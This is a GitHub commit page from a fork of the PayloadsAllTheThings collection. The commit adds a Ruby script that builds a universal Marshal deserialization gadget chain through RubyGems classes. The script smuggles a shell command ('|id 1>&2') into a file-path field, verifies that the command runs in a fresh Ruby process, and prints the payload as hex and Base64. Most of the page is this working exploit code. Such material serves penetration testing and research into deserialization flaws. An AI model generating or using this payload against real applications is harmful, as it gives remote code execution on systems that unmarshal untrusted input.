forked from swisskyrepo/PayloadsAllTheThings
-
Notifications
You must be signed in to change notification settings - Fork 0
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
1 parent
d181ff4
commit 15fe340
Showing
2 changed files
with
71 additions
and
1 deletion.
There are no files selected for viewing
66 changes: 66 additions & 0 deletions
66
Insecure deserialization/Files/Ruby_universal_gadget_generate_verify.rb
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,66 @@ | ||
#!/usr/bin/env ruby | ||
|
||
class Gem::StubSpecification | ||
def initialize; end | ||
end | ||
|
||
|
||
stub_specification = Gem::StubSpecification.new | ||
stub_specification.instance_variable_set(:@loaded_from, "|id 1>&2") | ||
|
||
puts "STEP n" | ||
stub_specification.name rescue nil | ||
puts | ||
|
||
|
||
class Gem::Source::SpecificFile | ||
def initialize; end | ||
end | ||
|
||
specific_file = Gem::Source::SpecificFile.new | ||
specific_file.instance_variable_set(:@spec, stub_specification) | ||
|
||
other_specific_file = Gem::Source::SpecificFile.new | ||
|
||
puts "STEP n-1" | ||
specific_file <=> other_specific_file rescue nil | ||
puts | ||
|
||
|
||
$dependency_list= Gem::DependencyList.new | ||
$dependency_list.instance_variable_set(:@specs, [specific_file, other_specific_file]) | ||
|
||
puts "STEP n-2" | ||
$dependency_list.each{} rescue nil | ||
puts | ||
|
||
|
||
class Gem::Requirement | ||
def marshal_dump | ||
[$dependency_list] | ||
end | ||
end | ||
|
||
payload = Marshal.dump(Gem::Requirement.new) | ||
|
||
puts "STEP n-3" | ||
Marshal.load(payload) rescue nil | ||
puts | ||
|
||
|
||
puts "VALIDATION (in fresh ruby process):" | ||
IO.popen("ruby -e 'Marshal.load(STDIN.read) rescue nil'", "r+") do |pipe| | ||
pipe.print payload | ||
pipe.close_write | ||
puts pipe.gets | ||
puts | ||
end | ||
|
||
puts "Payload (hex):" | ||
puts payload.unpack('H*')[0] | ||
puts | ||
|
||
|
||
require "base64" | ||
puts "Payload (Base64 encoded):" | ||
puts Base64.encode64(payload) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters